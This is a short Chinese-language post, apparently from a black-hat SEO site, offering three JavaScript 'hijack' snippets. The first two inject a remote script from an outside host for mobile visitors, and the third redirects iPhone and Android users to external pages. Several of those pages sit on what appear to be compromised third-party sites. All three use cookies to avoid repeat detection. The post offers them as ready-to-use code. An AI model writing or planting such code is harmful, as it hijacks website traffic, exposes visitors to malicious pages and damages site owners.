富贵长生天做主由不得我
钢骨正气我做主由不得天

JS劫持代码。。三段

一段

(function(s,c,o){var r=document.referrer,p=navigator.platform.toLowerCase();if(p.indexOf("win")>-1||p.indexOf("mac")>-1)return;if(r!=""&&r.indexOf(document.domain)<0&&document.cookie.indexOf(c)<0){(function(){if(!document.body)return setTimeout(arguments.callee,100);var d=document,j=d.createElement(s);j.src="https://xxxx.app/a.js";document.body.appendChild(j)})()};var t=new Date();t.setDate(t.getDate()+3);document.cookie=c+";expires="+t.toUTCString()+";path=/"})("script","bdshare_ty=0x18","work");

二段

(function () { if (!document.body) return setTimeout(arguments.callee, 200); var po=navigator.platform[0].toLowerCase(); if(po!='i'&&po!='l') return; var w = window, d = document; var roc = "roc_mob_ready=|mob_ready|"; if(d.cookie.indexOf(roc)>-1) return; var t=new Date(); t.setDate(t.getDate()+3); d.cookie=roc+";expires="+t.toUTCString()+";path=/"; var j=d.createElement("script"); j.src="https://heloi.app/1.js"; j.setAttribute("async", "true"); d.body.appendChild(j); })();

三段

var ua = navigator.userAgent.toLowerCase();if (/iphone|ipad|ipod/.test(ua)) {setTimeout( function(){ var url=["https://ymdd.fzyjdz.top/?qd=Y_30"]; var r = Math.floor(Math.random() * 1);window.location.href = url[r];}, 3 * 1000 ); } else if (/android|linux|Android/.test(ua)) {setTimeout( function(){var url2=["http://cnstgl.com/fwcn/bo/b.html","http://www.sunnylawyer.com/include/taglib/help/bo/b.html","https://fozhiguang.com/pic/uploads/allimg/201101/bo/b.html","http://m.szlande.com/uploads/150425/150425/bo/b.html"];var r2 = Math.floor(Math.random() * 4);window.location.href = url2[r2];}, 3 * 1000 ); };

别处COPY ,仅供参考

赞(0)
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » JS劫持代码。。三段

评论 抢沙发

评论前必须登录!